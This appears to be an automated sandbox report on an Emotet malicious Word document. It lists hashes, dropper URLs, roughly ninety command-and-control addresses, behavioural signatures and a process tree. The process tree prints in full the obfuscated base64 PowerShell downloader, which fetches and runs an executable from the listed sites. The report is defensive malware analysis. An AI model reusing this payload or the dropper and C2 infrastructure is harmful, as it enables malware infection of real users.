emotet | cf099f56a163d561f3b40e133695b738e5f074a835a1288d559551c7406c935c

General

Target
emotet_e3_cf099f56a163d561f3b40e133695b738e5f074a835a1288d559551c7406c935c_2020-08-28__162042._doc.doc
Size 218KB
Sample200828-e9hsrftmka
SHA256 cf099f56a163d561f3b40e133695b738e5f074a835a1288d559551c7406c935c
MD5 7363f42744329bb163e438262c70437b
SHA1 01c510b42b2656fb683bfbcc8aeb5d53a16e3629
SHA512 dfe0b5c0a8dded7a15cf9fc8b3bbe8d3f03b5f5b02d3c6d5089b5fdd0a3ff0d1e951a64b6157ec3640e97209072f8b0ef1af67a41f33acef11f3bb63af5ecaf7
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://blindshade.com/asc-ga/attach/PsysR/
exe.dropper
http://darcyaraya.com/cgi-bin/attach/mjGZ/
exe.dropper
http://desolcasa.com/libraries/vIIrdbnIpR/
exe.dropper
http://pontualpromocoes.com.br/SITE_OLD/attach/WJUj/
exe.dropper
https://s-tech.hu/contactform/FMRA/
exe.dropper
https://toprakmedia.com/file/JZvy/
exe.dropper
http://tohohop.net/bot/file/VcFQqtQn/

Extracted

Family

emotet

C2

190.136.179.102:80
97.107.135.148:8080
94.102.209.63:7080
162.144.42.60:8080
81.214.253.80:443
87.106.231.60:8080
107.161.30.122:8080
66.61.94.36:80
139.59.12.63:8080
203.153.216.178:7080
178.33.167.120:8080
179.62.238.49:80
50.116.78.109:8080
74.208.173.91:8080
113.161.148.81:80
179.5.118.12:80
202.5.47.71:80
91.83.93.103:443
181.113.229.139:443
41.185.29.128:8080
37.205.9.252:7080
197.232.36.108:80
91.75.75.46:80
105.209.235.113:8080
181.137.229.1:80
172.105.78.244:8080
157.7.164.178:8081
190.55.186.229:80
192.163.221.191:8080
37.187.100.220:7080
5.79.70.250:8080
192.241.220.183:8080
168.0.97.6:80
46.32.229.152:8080
115.78.11.155:80
68.183.233.80:8080
190.96.15.50:80
175.29.183.2:80
118.101.24.148:80
157.245.138.101:7080
95.216.205.155:8080
46.105.131.68:8080
188.251.213.180:443
190.53.144.120:80
143.95.101.72:8080
88.249.181.198:443
2.144.244.204:443
177.32.8.85:80
190.212.140.6:80
185.86.148.68:443
54.38.143.245:8080
190.190.15.20:80
189.39.32.161:80
186.227.146.102:80
185.142.236.163:443
201.213.177.139:80
134.209.193.138:443
190.164.75.175:80
77.74.78.80:443
198.57.203.63:8080
103.80.51.61:8080
197.221.158.162:80
173.94.215.84:80
115.79.195.246:80
181.122.154.240:80
172.96.190.154:8080
82.239.200.118:80
81.17.93.134:80
201.235.10.215:80
178.87.171.199:80
24.26.151.3:80
75.127.14.170:8080
71.57.180.213:80
185.208.226.142:8080
177.144.130.105:443
31.146.61.34:80
60.125.114.64:443
188.0.135.237:80
181.126.54.234:80
162.249.220.190:80
220.254.198.228:443
177.94.227.143:80
113.203.250.121:443
37.46.129.215:8080
1.54.67.22:80
45.182.161.17:80
86.98.143.163:80
51.38.201.19:7080
192.210.217.94:8080
195.201.56.70:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1848	3168	powersheLL.exe	73

Blacklisted process makes network request 1 IoCs

flow	pid	Process
10	1848	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2152	Btsx8m4p.exe
1784	dinput8.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\schannel\dinput8.exe	Btsx8m4p.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = a28965e1577dd601	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3044	WINWORD.EXE
3044	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1848	powersheLL.exe
1848	powersheLL.exe
1848	powersheLL.exe
1784	dinput8.exe
1784	dinput8.exe
1784	dinput8.exe
1784	dinput8.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2056	svchost.exe
Token: SeCreatePagefilePrivilege	2056	svchost.exe
Token: SeDebugPrivilege	1848	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3044	WINWORD.EXE
3044	WINWORD.EXE
3044	WINWORD.EXE
3044	WINWORD.EXE
3044	WINWORD.EXE
3044	WINWORD.EXE
3044	WINWORD.EXE
3044	WINWORD.EXE
3044	WINWORD.EXE
2152	Btsx8m4p.exe
2152	Btsx8m4p.exe
1784	dinput8.exe
1784	dinput8.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1848 wrote to memory of 2152	1848	powersheLL.exe	80
PID 1848 wrote to memory of 2152	1848	powersheLL.exe	80
PID 1848 wrote to memory of 2152	1848	powersheLL.exe	80
PID 2152 wrote to memory of 1784	2152	Btsx8m4p.exe	81
PID 2152 wrote to memory of 1784	2152	Btsx8m4p.exe	81
PID 2152 wrote to memory of 1784	2152	Btsx8m4p.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_cf099f56a163d561f3b40e133695b738e5f074a835a1288d559551c7406c935c_2020-08-28__162042._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2056

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABHAG0AOQBpAHMAYQB0AD0AKAAoACcARQAnACsAJwA5AGcAJwArACcANwBrAGcAJwApACsAJwBuACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAdABlAG0AcABcAHcAbwByAGQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQBSAGUAQwBUAE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAFIAYABJAFQAWQBgAHAAYABSAGAATwBUAE8AYwBPAGwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAcwAxADIALAAnACsAJwAgAHQAJwArACcAbAAnACkAKwAnAHMAJwArACgAJwAxADEALAAgACcAKwAnAHQAbABzACcAKQApADsAJABPAGgAMABzAHgANAAxACAAPQAgACgAJwBCACcAKwAoACcAdABzAHgAOABtACcAKwAnADQAcAAnACkAKQA7ACQAQgB6AHUAawBlAGwAaQA9ACgAKAAnAFoAcABvAHUAMgAnACsAJwByACcAKQArACcAagAnACkAOwAkAEgAOQBnAGkAdwBxADkAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAoACcAZQBYAE4AdwAnACsAJwBvACcAKQArACcAcgBkACcAKwAoACcAZQBYAE4AJwArACcAMgAnACkAKwAoACcAMAAnACsAJwAxADkAZQBYACcAKwAnAE4AJwApACkALgAiAFIAZQBwAGAATABgAEEAQwBlACIAKAAoAFsAYwBoAEEAUgBdADEAMAAxACsAWwBjAGgAQQBSAF0AOAA4ACsAWwBjAGgAQQBSAF0ANwA4ACkALABbAFMAVABSAEkATgBHAF0AWwBjAGgAQQBSAF0AOQAyACkAKQArACQATwBoADAAcwB4ADQAMQArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAWABjAHkAawBjAGUAbwA9ACgAJwBLACcAKwAnAHEAJwArACgAJwBkAGwAJwArACcAZABiADcAJwApACkAOwAkAEIAYgB0ADMAdQBkAHYAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4ARQBUAC4AVwBlAEIAQwBMAGkAZQBuAHQAOwAkAFcAaABxAGoAMwBqAHcAPQAoACgAJwBoACcAKwAnAHQAdAAnACsAJwBwADoALwAnACkAKwAoACcALwBiAGwAaQBuACcAKwAnAGQAJwApACsAJwBzACcAKwAnAGgAJwArACgAJwBhAGQAJwArACcAZQAuACcAKQArACcAYwBvACcAKwAoACcAbQAvACcAKwAnAGEAcwAnACkAKwAnAGMAJwArACgAJwAtAGcAJwArACcAYQAnACkAKwAoACcALwAnACsAJwBhAHQAJwApACsAJwB0ACcAKwAoACcAYQBjAGgALwBQAHMAJwArACcAeQBzACcAKwAnAFIALwAnACkAKwAoACcAKgBoAHQAdAAnACsAJwBwADoALwAvACcAKQArACgAJwBkACcAKwAnAGEAcgBjAHkAYQByACcAKwAnAGEAeQAnACkAKwAoACcAYQAuAGMAJwArACcAbwBtACcAKwAnAC8AYwAnACkAKwAnAGcAJwArACgAJwBpAC0AYgAnACsAJwBpAG4AJwArACcALwBhAHQAdABhACcAKQArACgAJwBjAGgALwBtACcAKwAnAGoAJwApACsAKAAnAEcAWgAvACoAJwArACcAaAB0AHQAcAAnACkAKwAoACcAOgAvAC8AJwArACcAZABlAHMAJwApACsAJwBvAGwAJwArACcAYwBhACcAKwAoACcAcwBhAC4AJwArACcAYwAnACsAJwBvAG0ALwBsAGkAJwApACsAJwBiAHIAJwArACgAJwBhAHIAaQBlACcAKwAnAHMALwAnACsAJwB2AEkASQAnACkAKwAoACcAcgAnACsAJwBkAGIAbgAnACkAKwAnAEkAJwArACcAcAAnACsAKAAnAFIALwAnACsAJwAqAGgAJwApACsAJwB0AHQAJwArACgAJwBwACcAKwAnADoALwAvACcAKQArACgAJwBwAG8AbgB0AHUAJwArACcAYQBsACcAKwAnAHAAJwApACsAKAAnAHIAJwArACcAbwBtACcAKQArACgAJwBvAGMAJwArACcAbwBlAHMAJwApACsAKAAnAC4AYwAnACsAJwBvAG0AJwArACcALgBiACcAKwAnAHIALwAnACsAJwBTAEkAVABFAF8AJwArACcATwBMAEQAJwApACsAJwAvAGEAJwArACgAJwB0ACcAKwAnAHQAYQAnACkAKwAoACcAYwAnACsAJwBoAC8AVwBKACcAKQArACgAJwBVAGoAJwArACcALwAqAGgAdAB0AHAAcwAnACsAJwA6ACcAKQArACcALwAnACsAJwAvACcAKwAoACcAcwAtACcAKwAnAHQAJwApACsAJwBlACcAKwAnAGMAJwArACcAaAAuACcAKwAoACcAaAB1AC8AYwBvACcAKwAnAG4AJwApACsAJwB0AGEAJwArACgAJwBjAHQAZgBvAHIAbQAnACsAJwAvACcAKwAnAEYATQBSAEEAJwApACsAJwAvACoAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwBzACcAKwAoACcAOgAvACcAKwAnAC8AdAAnACkAKwAoACcAbwBwACcAKwAnAHIAJwApACsAKAAnAGEAJwArACcAawBtACcAKQArACgAJwBlAGQAJwArACcAaQAnACkAKwAoACcAYQAnACsAJwAuAGMAJwApACsAJwBvACcAKwAoACcAbQAvACcAKwAnAGYAaQAnACkAKwAnAGwAJwArACcAZQAnACsAKAAnAC8ASgBaAHYAJwArACcAeQAnACsAJwAvACoAaAB0AHQAcAAnACsAJwA6AC8ALwAnACkAKwAoACcAdAAnACsAJwBvAGgAJwApACsAJwBvACcAKwAoACcAaABvACcAKwAnAHAALgBuACcAKwAnAGUAdAAvAGIAbwAnACkAKwAnAHQALwAnACsAKAAnAGYAJwArACcAaQBsAGUAJwArACcALwBWAGMAJwArACcARgBRAHEAJwArACcAdABRAG4ALwAnACkAKQAuACIAUwBQAGAAbABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABOADAAcgBsAF8AXwBiAD0AKAAoACcAWQA5AGsAJwArACcAMgBfACcAKQArACcAYQBtACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEEAeAA5AHkAMQByADAAIABpAG4AIAAkAFcAaABxAGoAMwBqAHcAKQB7AHQAcgB5AHsAJABCAGIAdAAzAHUAZAB2AC4AIgBEAG8AVwBuAEwATwBhAGQAYABGAGkAYABsAEUAIgAoACQAQQB4ADkAeQAxAHIAMAAsACAAJABIADkAZwBpAHcAcQA5ACkAOwAkAEYAaABhAGoAZQBmAGkAPQAoACgAJwBJADEANwAnACsAJwB6ACcAKQArACcAaAAnACsAJwA5ADYAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEgAOQBnAGkAdwBxADkAKQAuACIATABgAEUATgBnAHQASAAiACAALQBnAGUAIAAzADkAMAA1ADAAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwBrAGUALQAnACsAJwBJAHQAZQBtACcAKQAoACQASAA5AGcAaQB3AHEAOQApADsAJABXAGIAMwBhADAAcAA4AD0AKAAoACcAQQBtAGUAJwArACcANQAnACsAJwB4ADYAJwApACsAJwBvACcAKQA7AGIAcgBlAGEAawA7ACQAQgBjADcAYgB3AHAAbgA9ACgAKAAnAE8AXwAnACsAJwBqAGUAJwApACsAKAAnAG4AcQAnACsAJwBhACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAGgAZgAwAHUAYQBqAD0AKAAoACcAQwAnACsAJwBpAGQAJwApACsAJwA1AGQAJwArACcAZAB6ACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1848
- C:\Users\Admin\AppData\Local\Temp\word\2019\Btsx8m4p.exe
  "C:\Users\Admin\AppData\Local\Temp\word\2019\Btsx8m4p.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2152
- - C:\Windows\SysWOW64\schannel\dinput8.exe
    "C:\Windows\SysWOW64\schannel\dinput8.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1784

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1784-19-0x00000000021B0000-0x00000000021BC000-memory.dmp

Download

memory/1848-10-0x00007FFBBB430000-0x00007FFBBBE1C000-memory.dmp

Download

memory/1848-11-0x000001C5971A0000-0x000001C5971A1000-memory.dmp

Download

memory/1848-12-0x000001C5AF3F0000-0x000001C5AF3F1000-memory.dmp

Download

memory/2152-16-0x00000000007C0000-0x00000000007CC000-memory.dmp

Download

memory/3044-0-0x00007FFBC2C00000-0x00007FFBC32C6000-memory.dmp

Download

memory/3044-6-0x0000015571E96000-0x0000015571E9B000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads